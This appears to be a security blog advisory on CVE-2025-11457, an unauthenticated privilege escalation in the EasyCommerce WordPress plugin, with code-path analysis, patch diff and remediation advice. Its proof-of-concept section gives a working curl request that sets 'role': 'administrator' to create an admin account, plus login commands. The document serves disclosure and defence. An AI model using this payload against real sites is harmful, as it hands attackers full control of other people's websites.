CVE-2025-11457: Privilege Escalation in EasyCommerce Plugin

CVE-2025-11457 is a CVSS 9.8 (Critical) Unauthenticated Privilege Escalation vulnerability in the EasyCommerce – AI-Powered, Blazing-Fast & Beautiful WordPress Ecommerce Plugin for WordPress. The vulnerability affects all versions from 0.9.0-beta2 through 1.8.2. A single crafted HTTP request to the plugin’s order creation endpoint lets an unauthenticated attacker create a WordPress admin account and take full control of the site.

Vulnerability Summary

FieldValue
Plugin NameEasyCommerce – AI-Powered, Blazing-Fast & Beautiful WordPress Ecommerce Plugin
Plugin Slugeasycommerce
CVE IDCVE-2025-11457
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Privilege Escalation (Improper Privilege Management)
Affected Versions<= 1.8.2
Patched Version1.8.3
PublishedNovember 10, 2025
Researcherkr0d
Wordfence AdvisoryLink

Description

The EasyCommerce – AI-Powered, Fast & Beautiful WordPress Ecommerce Plugin for WordPress is vulnerable to Privilege Escalation in versions 0.9.0-beta2 to 1.8.2. This is due to the /easycommerce/v1/orders REST API endpoint not properly restricting the ability for users to select roles during registration. This makes it possible for unauthenticated attackers to gain administrator-level access to a vulnerable site.

Technical Analysis

Vulnerable Code Path

1. REST API Endpoint Registration (app/Controllers/Common/API.php, line 2329–2371)

The POST /wp-json/easycommerce/v1/orders endpoint is registered with the is_user permission callback:

// app/Controllers/Common/API.php — register_order_endpoints()
$this->register_route(
    '/orders',
    array(
        'methods'    => WP_REST_Server::CREATABLE,
        'callback'   => array( new Order(), 'create' ),
        'args'       => array(
            'customer' => array(
                'description' => __( 'The customer ID or an array of customer data', 'easycommerce' ),
                'required'    => true,
            ),
            // ... other args, no validation on 'role' inside 'customer'
        ),
        'permission' => array( $this, 'is_user' ),
    )
);

2. Permission Callback Always Returns True (app/Traits/Auth.php, line 23–26)

// app/Traits/Auth.php
public function is_user( $request ) {
    return __return_true();
}

is_user() unconditionally returns true, which means any unauthenticated HTTP request passes the permission check. There is no nonce, no authentication token, and no IP restriction.

3. Order Creation Passes Raw Customer Data to User Creation (app/API/Order.php, line 71–75)

// app/API/Order.php — create()
} elseif ( is_array( $customer ) ) {
    $customer_obj = new Customer();
    $customer_obj->create( $customer );  // $customer comes directly from request params
    $customer_id = $customer_obj->get_id();
}

If the customer parameter is a JSON object and the email address does not exist yet, the plugin passes the full $customer array — unsanitized — directly to Customer::create(). This includes any role field the request contains.

4. Role Assigned Without Restriction (app/Abstracts/User.php, line 330)

// app/Abstracts/User.php — create()
$this->role = isset( $args['role'] ) ? $args['role'] : $this->role;

The create() method in the abstract User class directly assigns $args['role'] if it is present. No sanitization occurs before this call. So if an attacker sends "role": "administrator" in the request, their account is created with full administrator privileges.

5. User Saved with Attacker-Controlled Role (app/Abstracts/User.php, line 230–241)

// app/Abstracts/User.php — save()
$userdata = array(
    'user_email'   => $this->email,
    'user_login'   => $this->email,
    'display_name' => $this->name,
    'role'         => $this->role,   // attacker-controlled value
    'user_pass'    => $this->password,
);
$user_id = wp_insert_user( $userdata );

WordPress’s wp_insert_user() accepts any valid role string. The new account is created with whatever role the attacker specified.

Root Cause

The vulnerability combines two flaws:

  1. Missing authentication on the order creation endpoint: is_user() always returns true, allowing unauthenticated requests.
  2. Missing role allowlist / sanitization: The User::create() method blindly trusts the caller-supplied role argument and passes it directly to wp_insert_user().

Why Controls Failed

The customer REST API parameter description states it accepts “The customer ID or an array of customer data (name and email)”. The role key was never listed as a valid field in the argument definition, but it was never rejected either. WordPress REST API definitions do not enforce strict schemas. Undefined keys are ignored during validation, but they remain readable via get_param() in the handler. Because Order::create() passes the entire customer parameter directly to User::create(), no layer existed between the HTTP request and the role assignment.

Attack Impact

An unauthenticated attacker can:

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Identify the target site

Confirm the plugin is active and identify the WordPress REST API base URL. EasyCommerce’s REST API namespace is easycommerce/v1.

TARGET="https://example.com"

Step 2: Craft the privilege escalation payload

Send a POST request to the order creation endpoint, supplying a customer object that includes "role": "administrator". The items field can be any string here — the user creation code runs before cart validation, so the account is created even if the cart check fails later.

curl -s -X POST "$TARGET/wp-json/easycommerce/v1/orders" \
  -H "Content-Type: application/json" \
  -d '{
    "items": "placeholder",
    "customer": {
      "email": "attacker@evil.com",
      "name": "Attacker",
      "first_name": "Evil",
      "last_name": "Attacker",
      "role": "administrator",
      "password": "Sup3rS3cr3t!"
    },
    "status": "pending"
  }'

Step 3: Confirm account creation

Even if the order fails — for example, due to an invalid cart hash — the plugin has already created the user account before reaching cart validation. Log in to the WordPress admin with the attacker’s credentials:

curl -s -X POST "$TARGET/wp-login.php" \
  -d "log=attacker%40evil.com&pwd=Sup3rS3cr3t%21&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c /tmp/cookies.txt \
  -b "wordpress_test_cookie=WP+Cookie+check" \
  -L

Expected Result

A new WordPress user attacker@evil.com is created with the administrator role. The attacker can now log into the WordPress admin panel and has full site control.

Verification

After the POST request, query the WordPress database or admin panel:

# Via WP-CLI (on the server)
wp user get attacker@evil.com --field=roles

# Expected output:
# administrator

Alternatively, navigate to $TARGET/wp-admin/users.php and confirm the new user appears with the Administrator role.

Patch Analysis

What Changed

The patch modifies only one file:

Fix Explanation

The patch removes the ability for callers to specify a role via the $args array in User::create(). Instead, the role is always kept as the object’s pre-set default:

-		$this->role       = isset( $args['role'] ) ? $args['role'] : $this->role;
+		// Prevent user-supplied role for security reasons (CVE-2025-11457)
+		$this->role       = $this->role;

The Customer class sets protected $role = 'customer' by default. So the fix ensures all users created through the order flow receive the customer role, no matter what the request contains.

However, the fix is not complete. It addresses the unvalidated role assignment, but does not fix the is_user() permission callback, which still returns true unconditionally. The order creation endpoint remains open to unauthenticated users. This may allow other abuse such as registration spam or cart manipulation. Defenders should evaluate whether is_user() should require authentication in a future release.

Code Diff (Key Changes)

--- a/app/Abstracts/User.php
+++ b/app/Abstracts/User.php
@@ -327,7 +327,8 @@ abstract class User {
 		$this->name       = $args['name'];
 		$this->first_name = $args['first_name'];
 		$this->last_name  = $args['last_name'];
-		$this->role       = isset( $args['role'] ) ? $args['role'] : $this->role;
+		// Prevent user-supplied role for security reasons (CVE-2025-11457)
+		$this->role       = $this->role;
 		$this->password   = isset( $args['password'] ) ? $args['password'] : wp_generate_password();

Timeline

DateEvent
UnknownVulnerability discovered and reported by kr0d
November 10, 2025Publicly disclosed on Wordfence Intelligence
November 13, 2025Advisory last updated
November 10, 2025Patched version 1.8.3 released

Remediation

Update the easycommerce plugin to version 1.8.3 or later immediately. If an immediate update is not possible, consider temporarily deactivating the plugin until updating is possible. After updating, audit your WordPress user list for any unexpected administrator accounts created before the patch was applied.

References

  1. Wordfence Advisory
  2. CVE-2025-11457 on MITRE
  3. EasyCommerce on WordPress.org
  4. Patch changeset on plugins.trac.wordpress.org

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee